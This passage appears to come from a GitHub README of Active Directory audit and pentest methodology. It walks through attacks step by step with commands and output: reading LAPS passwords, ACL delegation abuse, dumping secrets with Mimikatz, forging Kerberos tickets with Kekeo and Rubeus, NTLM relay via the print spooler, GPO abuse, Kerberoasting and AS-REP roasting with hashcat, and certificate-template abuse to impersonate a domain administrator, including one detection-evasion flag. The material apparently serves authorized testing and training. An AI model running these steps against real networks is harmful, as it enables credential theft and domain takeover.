targeted-windows     CN=targeted-windows,OU=ABC,DC=my,DC=dc        SystemPasswrd      xx/xx/xxxx xx:xx:xx

OR using LAPSTOOLKIT

PS C:\Tools> Get-LAPSComputers

ComputerName           Password        Expiration
------------           --------        ----------
targeted-windows       SystemPasswrd   xx/xx/xxxx xx:xx:xx

⭕ IV. Exploiting AD

🔻Exploiting AD permission delegation

Permission Delegation exploits are often referred to as ACL-based attacks. AD allows administrators to configure Access Control Entries (ACEs) that populates Discretionary Access Control Lists (DACLs), hence the name ACL-based attacks. Almost any AD object can be secured with ACEs, which then describe the allowed and denied permissions that any other AD object has against the target object.

A significant amount of ACEs can be misconfigured, and the exploits for each vary, such as :

  • ForceChangePassword: We have the ability to set the user's current password without knowing their current password.
  • AddMembers: We have the ability to add users (including our own account), groups or computers to the target group.
  • GenericAll: We have complete control over the object, including the ability to change the user's password, register an SPN or add an AD object to the target group.
  • GenericWrite: We can update any non-protected parameters of our target object. This could allow us to, for example, update the scriptPath parameter, which would cause a script to execute the next time the user logs on.
  • WriteOwner: We have the ability to update the owner of the target object. We could make ourselves the owner, allowing us to gain additional permissions over the object.
  • WriteDACL: We have the ability to write new ACEs to the target object's DACL. We could, for example, write an ACE that grants our account full control over the target object.
  • AllExtendedRights: We have the ability to perform any action associated with extended AD rights against the target object. This includes, for example, the ability to force change a user's password.

Detect the permission delegation

Multiple tools permit to detect the permission delegation misconfiguration and exploit, such as :

  • Sharphound (Bloodhound)
  • PingCastle

Abuse the AddMember permission delegation

➤ 1. Add our AD account to another group
PS C:\>Add-ADGroupMember "AD_GROUP" -Members "YOUR_AD_ACCOUNT_NAME"
➤ 2. verify that the command worked and find your account in the group
Get-ADGroupMember -Identity "AD_GROUP"

Abuse the ForceChangePassword permission delegation

➤ 1. Find a victim name in the AD Group where you have the ForceChangePassword
Get-ADGroupMember -Identity "AD_GROUP"
➤ 2. Force to change the password with another one for the victim
PS C:\>$Password = ConvertTo-SecureString "YOUR_NEW_PASSWORD" -AsPlainText -Force 
PS C:\>Set-ADAccountPassword -Identity "AD_ACCOUNT_USERNAME_OF_TARGET" -Reset -NewPassword $Password 

💥Important note : The propagation of the new password in the domain can required more than 10min to be effective

🔻Exploiting Kerberos delegation

Introduction

The practical use of Kerberos Delegation is to enable an application to access resources hosted on a different server. There are three types of Kerberos delegation :

  • The unconstrained delegation
  • The constrained delegation
  • The ressource-based constrained delegation
➤ Unconstrained delegation

The unconstrained delegation is the least secure method and provides no limits to the delegation. If a user with the "TRUSTED_FOR_DELEGATION" flag set authenticates to a host with Unconstrained Delegation configured, a ticket-granting ticket (TGT) for that user account is generated and stored in memory in the host so it can be used later if needed. If an attacker can compromise a host that has Unconstrained Delegation enabled. In that case, they could attempt to force a privileged account to authenticate to the host, which would allow them to intercept the generated TGT and impersonate the privileged service

Exemple here : https://medium.com/@riccardo.ancarani94/exploiting-unconstrained-delegation-a81eabbd6976

➤ Contrained delegation

Constrained Delegation restricts what services an account can be delegated to, limiting exposure if an account is compromised. The following are examples of services that can be configured for delegation:

  • HTTP : Used for web applications to allow pass-through authentication using AD credentials.
  • CIFS : Common Internet File System is used for file sharing that allows delegation of users to shares.
  • LDAP : Used to delegate to the LDAP service for actions such as resetting a user's password.
  • HOST : Allows delegation of account for all activities on the host.
  • MSSQL : Allows delegation of user accounts to the SQL service for pass-through authentication to databases.

With the constrained delegation the delegated account can't just be used for everything. However, it can still be used for some powerful exploitation. An example of this would be if we were able to compromise an AD account that had constrained delegation configured. By knowing the plaintext password or even just the NTLM hash of this account, we could generate a TGT for this account, then use the TGT to execute a ticket-granting server (TGS) request for any non-sensitive user account in order to access the service as that user.

➤ Resource-Based Constrained Delegation

RBCD provides additional restrictions and changes the delegation model entirely. Instead of specifying which object can delegate to which service, the service now specifies which objects can delegate to it. This allows the service owner to control who can access it.

Exemple here : https://blog.netwrix.com/2022/09/29/resource-based-constrained-delegation-abuse/

Enumerate available delegations on the host (Powerview)

PS C:\>Import-Module PowerView.ps1 
PS C:\>Get-NetUser -TrustedToAuth

#The svcIIS account can delegate the HTTP and WSMAN services on THMSERVER1.
#PowerShell Remoting uses the HTTP and WSMAN services as well
#The best option would be to impersonate a most privileged admin
<...> 
displayname              : IIS Server
lastlogontimestamp       : 9/23/2023 9:07:14 AM
userprincipalname        : svcIIS@my.domain.com
name                     : IIS Server
<...>
msds-allowedtodelegateto : {WSMAN/SERVER1.my.domain.com, WSMAN/SERVER1,
                           http/SERVER1.my.domain.com, http/SERVER1}
<...>
serviceprincipalname     : HTTP/svcServWeb.my.domain.com
<...>
useraccountcontrol       : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION
<...>

Example of kerberos delegation exploitation

➤ 1. Dump the secrets using Mimikatz
  • token::elevate : To dump the secrets from the registry hive, we need to impersonate the SYSTEM user.
  • lsadump::secrets : Mimikatz interacts with the registry hive to pull the clear text credentials.
PS C:\Users\t2_alan.riley> C:\Tools\mimikatz_trunk\x64\mimikatz.exe

mimikatz # token::elevate 
Token Id  : 0 
User name :
SID name  : NT AUTHORITY\SYSTEM

<...>
mimikatz # lsadump::secrets 
<...>
Secret  : _SC_winauth / service 'winauth' with username : svcIIS@my.domain.com
cur/text: MyStrongPassword!

mimikatz # exit
Bye!
➤ 2. Generate our tickets with Kekeo and then use Mimikatz to load those tickets into memory
  • Kekeo is use to generate the tickets
  • Mimikatz is used to load those tickets into memory.

💥Important note : Stay in the same powershell (use exit between each tool). In the other case, use another window for Mimikatz, but make sure to exit out of Mimikatz after the token::elevate

PS C:\Users\t2_alan.riley>  C:\Tools\kekeo\x64\kekeo.exe

kekeo # tgt::ask /user:svcIIS /domain:my.domain.com /password:MyStrongPassword! 
<..>
[kdc] addr: 10.200.83.101 (auto)
  > Ticket in file 'TGT_svcIIS@MY.DOMAIN.COM_krbtgt~my.domain.com@MY.DOMAIN.COM.kirbi'

kekeo # tgs::s4u /tgt:TGT_svcIIS@MY.DOMAIN.COM_krbtgt~my.domain.com@MY.DOMAIN.COM.kirbi /user:t1_trevor.jones /service:http/SERVER1.my.domain.com
<..>
  [s4u2proxy] http/SERVER1.my.domain.com
  > Ticket in file 'TGS_t1_trevor.jones@MY.DOMAIN.COMC_http~SERVER1.my.domain.com@MY.DOMAIN.COM.kirbi'
 
 
kekeo # tgs::s4u /tgt:TGT_svcIIS@MY.DOMAIN.COMC_krbtgt~my.domain.com@MY.DOMAIN.COM.kirbi /user:t1_trevor.jones /service:wsman/SERVER1.my.domain.com
<..>
  [s4u2proxy] wsman/SERVER1.my.domain.com
  > Ticket in file 'TGS_t1_trevor.jones@MY.DOMAIN.COM_wsman~SERVER1.my.domain.com@MY.DOMAIN.COM.kirbi
'

kekeo # exit
Bye!
➤ use Mimikatz to import the tickets generated
PS C:\Users\t2_alan.riley> C:\Tools\mimikatz_trunk\x64\mimikatz.exe

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt TGS_t1_trevor.jones@MY.DOMAIN.COM_wsman~SERVER1.my.domain.com@MY.DOMAIN.COM.kirbi

* File: 'TGS_t1_trevor.jones@MY.DOMAIN.COM_wsman~SERVER1.my.domain.com@MY.DOMAIN.COM.kirbi': OK      

mimikatz # kerberos::ptt TGS_t1_trevor.jones@MY.DOMAIN.COM_http~SERVER1.my.domain.com@MY.DOMAIN.COM.kirbi

* File: 'TGS_t1_trevor.jones@MY.DOMAIN.COM_http~SERVER1.my.domain.com@MY.DOMAIN.COM.kirbi': OK       

mimikatz # exit
Bye!
➤ create our PSSession
PS C:\Users\t2_alan.riley> New-PSSession -ComputerName server1.my.domain.com

 Id Name            ComputerName    ComputerType    State         ConfigurationName     Availability
 -- ----            ------------    ------------    -----         -----------------     ------------
  1 WinRM1          thmserver1.m... RemoteMachine   Opened        Microsoft.PowerShell     Available

PS C:\Users\t2_alan.riley> Enter-PSSession -ComputerName server1.my.domain.com

🔻Exploiting automated relays

There is an exceptional case in AD, where one machine has admin rights over another machine. Essentially in the AD configuration, administrative permissions over a host have been granted to another host. Again, this is expected functionality such as domain controllers or SQL clusters that must be synchronised. However, these instances provide a very interesting attack vector for coercing authentication.

Prerequisites

➤ Custom Bloodhound query query will attempt to find instances where a computer has the "AdminTo" relationship over another computer :
MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p

image

The printer bug is a "feature" of the MS-RPRN protocol (PrintSystem Remote Protocol), which allows a domain user to remotely force a target host running the Print Spooler service to authenticate to an arbitrary IP address. There have been a few of these bugs in recent years: Spooler, PetitPotam, PrintNightmare.

Therefore, to exploit this, apart from machine account administrative privileges, we also need to meet the following four conditions :

  • A valid set of AD account credentials.
  • Network connectivity to the target's SMB service.
  • The target host must be running the Print Spooler service.
  • The hosts must not have SMB signing enforced.
➤ Detect if the host running the Print Spooler service :

💥Important note : Microsoft has been cracking down viewing these ports from the network's perspective. If both give you an error, you may just consider that the condition is ok.

# Command :
# PS > GWMI Win32_Printer -Computer <HOSTNAME.DOMAIN>
PS > GWMI Win32_Printer -Computer servertest.my.domain.com

Location      :
Name          : Microsoft XPS Document Writer 
PrinterState  : 0
PrinterStatus : 3
ShareName     :
SystemName    : servertest

Location      :
Name          : Microsoft Print to PDF        
PrinterState  : 0
PrinterStatus : 3
ShareName     :
SystemName    : servertest

OR

PS > Get-PrinterPort -ComputerName <HOSTNAME.DOMAIN>
PS > Get-PrinterPort -ComputerName servertest.my.domain.com
➤ Detect if the host has SMB signing enforced

💥Important note : There is a difference between SMB signing being allowed and SMB signing being enforced. Since some legacy systems do not support SMB signing, by default, the configuration of SMB is that signing is allowed but not enforced, meaning that it will only be used if supported.

It is also required to check on the compromised windows domain machine as well as the targeted windows domain machine

Using nmap from the attacker machine

root@ip-10-10-16-66:~# nmap --script=smb2-security-mode -p445 servercompromised.my.domain.com servertest.my.domain.com 

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required

Nmap done: 2 IP addresses (1 host up) scanned in 3.08 seconds

Exploiting Authentication Relays

💥Important note : This attack can be unstable. Abusing the Print Spooler service may cause it to crash, and a callback is not always guaranteed

We will use Spoolsample.exe to coerce The compromised windows server domain to authenticate to us on our AttackBox and then Impacket's ntlmrelayx.py to relay the authentication attempt the targeted server.

➤ Tools needed
➤ 1. Set up the ntlm relay

Set up the ntlm relay on our Attacker machine

kiosec@lab# python3.9 /opt/impacket/examples/ntlmrelayx.py -smb2support -t smb://"IP_OF_TARGETED_WINDOWS_HOST_DOMAIN" -debug

💥Important note : Setup the the IP adress rather than the hostname. Usung the hostname, the host could request a kerberos authentication instead of NTLM.

➤ 1. Set up the ntlm relay

SpoolSample.exe THMSERVER2.za.tryhackme.loc "Attacker IP"

🔻Exploiting GPOs

Reminder

The SYSVOL directory is the directory where AD GPOs (Group Policy Objects) are stored to be replicated to domain-joined machines. A GPO is a virtual collection of policy settings. Each GPO has a unique name, called a GUID.

Each Windows computer has a Local Policy Configuration which contains several notable configurations such as:

  • Application configuration for services such as the Firewall, Anti-Virus, and Applocker.
  • Local Group membership such as the Administrator or Remote Desktop Users groups.
  • Startup configuration such as scripts that should be executed.
  • Security and protocol settings such as SMBv1 support.

Group Policy Management (GPM) allows to deploy a configuration into a large organisations from a central location. Instead of defining policies locally on each machine, GPM allows us to define policies directly on the AD structure. Essentially, we can define GPOs for AD objects, such as a specific OU or group. Thus, Domain-joined computers would then pull all policies from SYSVOL periodically and apply the relevant ones. By default, policies are replicated every 15 minutes through the gpupdate application.

Exploitation example

In the schema below, there is an ownership over a Group Policy Object (GPO) and it is applied to the machine. In the example, the exploitation will consist of abusing a GPO in order to add an compromised AD account into the local administrators and local remote desktop users groups.

image

➤ 1. Open MMC in order to modify the GPO
# inject the AD user's credentials into memory using the runas command
C:\>runas /netonly /user:<domain>\<AD Username> cmd.exe

# Open MMC
C:\>mmc
➤ 2. Add the Group Policy Management snap-in
Click File -> Add/Remove Snap-in
Select the Group Policy Management snap-in and click Add
Click Ok
➤ 3. Navigate to the GPO that our user has permission to modify

image

➤ 4. Right-click on the GPO and select Edit.
➤ 5. Add our account to the local groups
Expand Computer Configuration
Expand Policies
Expand Windows Settings
Expand Security Settings
Right Click on Restricted Groups and select Add Group (If the IT Support group already exists, it means someone has already performed the exploit. You can either delete it to create it yourself, or just inspect it to see what was configured.)
Click Browse, enter IT Support and  click Check Names
Click Okay twice

For the second filter, we want to add both the Administrators and Remote Desktop Users groups. In the end, it should look something like this: image

➤ 5. Click Apply and OK. Now, wait for a maximum of 15 minutes for the GPO to be applied

🔻Exploiting Kerberoast attacks

💥Important note : Impacket tools can be directly used from the attackerbox to the Windows target. Only the domain user is required.

➤ Find the SPN accounts
#  python3.9 /opt/impacket/examples/GetUserSPNs.py -dc-ip <DC-IP>  <DOMAIN/USER>
kiosec@cyberlab$ python3.9 /opt/impacket/examples/GetUserSPNs.py -dc-ip 10.0.0.1 MY.domain/advulnuser
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
ServicePrincipalName            Name      MemberOf  PasswordLastSet             LastLogon  Delegation
----------------------------    -------   --------  --------------------------  ---------  ----------
http/computer-spn-creds.my.dc   svc-user            2023-10-22 00:20:06.413578
➤ Send a single request to get a TGS ticket for the SPN user using the -request-user argument
# python3.9 /opt/impacket/examples/GetUserSPNs.py -dc-ip <DC-IP>  <DOMAIN/USER> -request-user <SPN-USERNAME>
kiosec@cyberlab$ python3.9 /opt/impacket/examples/GetUserSPNs.py -dc-ip 10.0.0.1 MY.domain/advulnuser -request-user svc-user 
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
ServicePrincipalName            Name     MemberOf   PasswordLastSet             LastLogon  Delegation
----------------------------    -------  --------   --------------------------  ---------  ----------
http/computer-spn-creds.my.dc   svc-user            2023-10-22 00:20:06.413578  

[-] CCache file is not found. Skipping...
$krb5tgs$23$*svc-user$MY.DC$MY.dc/svc-user*$8f58dd981[*REMOVED*]7bfa358dd9812ac061c5
➤ Crack the TGS ticket
kiosec@cyberlab$ hashcat -a 0 -m 13100 spn.hash /usr/share/wordlists/rockyou.txt

🔻Exploiting ASP-ROASTING attack

AS-REP Roasting is the technique that enables the attacker to retrieve password hashes for AD users whose account options have been set to "Do not require Kerberos pre-authentication". If the preauthentification is not enforced, it is possible to generate and obtain the ticket of the user. This option relies on the old Kerberos authentication protocol.

➤ 1. Audit : Detect the user with the "Do not required Kerberos pre-authentication" option configured (ADRECON)

ADRecon is a useful tool used during the audit to enumerate the Active Directory. The output of the tools provide for all users if the options is activated.

The link of ADrecon including the script and the documentation is here : https://github.com/adrecon/ADRecon

git clone https://github.com/adrecon/ADRecon.git

#Basic execution
PS C:\> .\ADRecon.ps1

#Execution using another user
PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>
➤ 1.Bis Exploit: Detect and generate the tickets for the user with the "Do not required Kerberos pre-authentication" option configured
Obtain the list of the domain users (AD Explorer, ADRecon, etc.)
Example :
Administrator
admin
vulnerableuser
kiosec
svc-user
...
Enumerate and generate the TGT
# python3.9 /opt/impacket/examples/GetNPUsers.py -dc-ip <DC-IP> <DC-NAME>/ -usersfile <DOMAIN-USER-LIST>
kiosec@cyberlab$ python3.9 /opt/impacket/examples/GetNPUsers.py -dc-ip 10.0.0.1 my.dc/ -usersfile /tmp/users.txt
mpacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] User  doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$vulnerableuser@MY.DC:8f58dd981[*REMOVED*]7bfa358dd9812ac061c5

💥Important note : The default hash ouput of GetNPUsers.py is Hashcat. For generate john format hash specify the format : -format john or -format hashcat

🔻Exploiting certificates

AD Certificate Services (CS) is Microsoft's Public Key Infrastructure (PKI) implementation. Since AD provides a level of trust in an organisation, it can be used as a CA to prove and delegate trust. AD CS is used for several things, such as encrypting file systems, creating and verifying digital signatures, and even user authentication, making it a promising avenue for attackers.

Since AD CS is a privileged function, it usually runs on selected domain controllers. Meaning normal users can't really interact with the service directly. On the other side of the coin, organisations tend to be too large to have an administrator create and distribute each certificate manually. This is where certificate templates come in. Administrators of AD CS can create several templates that can allow any user with the relevant permissions to request a certificate themselves. These templates have parameters that say which user can request the certificate and what is required. SpecterOps found that specific combinations of these parameters can be incredibly toxic and abused for privilege escalation and persistent access.

Before we dive deeper into certificate abuse, some terminology:

  • PKI - Public Key Infrastructure is a system that manages certificates and public key encryption
  • AD CS - Active Directory Certificate Services is Microsoft's PKI implementation which usually runs on domain controllers
  • CA - Certificate Authority is a PKI that issues certificates
  • Certificate Template - a collection of settings and policies that defines how and when a certificate may be issued by a CA
  • CSR - Certificate Signing Request is a message sent to a CA to request a signed certificate
  • EKU - Extended/Enhanced Key Usage are object identifiers that define how a generated certificate may be used

A certificate template is misconfigured if a combination of parameter values becomes poisonous, allowing the requester to perform privilege escalation.

The details presented by SpecterOps can be found here : https://posts.specterops.io/certified-pre-owned-d95910965cd2

➤ Find Vulnerable Certificate Templates

#Use Window's built-in tool certutil into a powershell session in order to enumerate the certificates
C:\>certutil -Template -v > templates.txt

#Automated tools (Prefer manual approach)
https://github.com/GhostPack/PSPKIAudit

➤ Example of exploitation of a poisonous parameter combinations

Details can also be found here :https://benheater.com/tryhackme-exploiting-active-directory/#task-7-exploiting-certificates

1. Poisonous parameter combination

In this template, the machine account can issue a CSR for a template that allows us to specify the Subject Alternative Name (SAN) and can be used for client authentication.

Client Authentication - The certificate can be used for Client Authentication.
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT - The certificate template allows us to specify the Subject Alternative Name (SAN).
CTPRIVATEKEY_FLAG_EXPORTABLE_KEY - The certificate will be exportable with the private key.
Certificate Permissions - We have the required permissions to use the certificate template.
2. Open MMC
#Through RDP session or directly on a session
- Click Start->run
- Type mmc and hit enter
- Click File->Add/Remove Snap-in..
- Add the Certificates snap-in and make sure to select Computer Account and Local computer on the prompts.
- Click OK 

💥Important note : If you use Remmina and save the config of the RDP connection, please make sure to disable Restricted admin mode

3. Request a personal certificate
- Right Click on Personal and select All Tasks->Request New Certificate...
- Click Next twice to select the AD enrollment policy.
- You will see that we have one template that we can request, but first, we need to provide additional information.
- Click on the More Information warning.
- Change the Subject name Type option to Common Name and provide any value, since it does not matter, and click Add.
- Change the Alternative name Type option to User principal name.
- Supply the UPN of the user you want to impersonate. The best would be a DA account such as Administrator@mydomain.com and click Add.

image

- Click Apply and OK.
- Then, select the certificate and click Enroll.

image

4. Export the certificate with the private key
- Right-click on the certificate and select All Tasks->Export...
- Click Next, select Yes, export the private key, and click Next.
- Click Next, then set a password for the certificate since the private key cannot be exported without a password.
- Click Next and select a location to store the certificate.
- Click Next and finally click Finish.
5. Use the certificate to request a Kerberos ticket-granting ticket (TGT)
# /user - This specifies the user that we will impersonate and has to match the UPN for the certificate we generated
# /enctype -This specifies the encryption type for the ticket. Setting this is important for evasion, since the default encryption algorithm is weak, which would result in an overpass-the-hash alert
# /certificate - Path to the certificate we have generated
# /password - The password for our certificate file
# /outfile - The file where our TGT will be output to
# /domain - The FQDN of the domain we are currently attacking
# /dc - The IP of the domain controller which we are requesting the TGT from. Usually it is best to select a DC that has a CA service running

#Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate: /password: /outfile: /domain:mydomain.com /dc:

C:\THMTools> .\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:vulncert.pfx /password:myStrongPassword /outfile:administrator.kirbi /domain:mydomain.com /dc:10.0.0.1
          ______        _
         (_____ \      | |
          _____) )_   _| |__  _____ _   _  ___
         |  __  /| | | |  _ \| ___ | | | |/___)
         | |  \ \| |_| | |_) ) ____| |_| |___ |
         |_|   |_|____/|____/|_____)____/(___/
       
         v2.0.0
       
       [*] Action: Ask TGT
       
       [*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=vulncert
       [*] Building AS-REQ (w/ PKINIT preauth) for: 'lunar.eruca.com\svc.gitlab'
       [+] TGT request successful!
       [*] base64(ticket.kirbi):
       
             doIGADCCBfygAwIBBaEDAgEWooIE+jCCBPZhggTyMIIE7qADAgEFoREbD0xVTkFSLkVSVUNBLkNPTaIk
             MCKgAwIBAqEbMBkbBmtyYnRndBsPbHVuYXIuZXJ1Y2EuY29to4IErDCCBKigAwIBEqEDAgECooIEmgSC
             BJaqEcIY2IcGQKFNgPbDVY0ZXsEdeJAmAL2ARoESt1XvdKC5Y94GECr+FoxztaW2DVmTpou8g116F6mZ
             nSHYrZXEJc5Z84qMGEzEpa38zLGEdSyqIFL9/avtTHqBeqpR4kzY2B/ekqhkUvdb5jqapIK4MkKMd4D/
<...>
6. Load the TGT and authenticate
C:\Tools>mimikatz_trunk\x64\mimikatz.exe
mimikatz # privilege::debug
mimikatz # kerberos::ptt administrator.kirbi
mimikatz # exit

C:\Tools>dir \\DC.mydomain.com\c$\
 Volume in drive \\DC.mydomain.com\c$ is Windows
 Volume Serial Number is 1634-22A9

 Directory of \\DC.mydomain.com\c$

01/04/2022  08:47 AM               103 delete-vagrant-user.ps1
04/30/2022  10:24 AM               154 dns_entries.csv

09/15/2018  08:19 AM    <DIR>          PerfLogs
03/21/2020  09:31 PM    <DIR>          Program Files
03/21/2020  09:28 PM    <DIR>          Program Files (x86)
<...>

🔻Exploiting Domain Trusts

Domain Trusts are a mechanism for users in the network to gain access to other resources in the domain. There are two main types of trusts that can be configured between domains:

  • Directional - The direction of the trust flows from a trusting domain to a trusted domain
  • Transitive - The trust relationship expands beyond just two domains to include other trusted domains

About

Audit and pentest methodologies for Active Directory including internal enumeration, privesc, lateral movement, etc.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published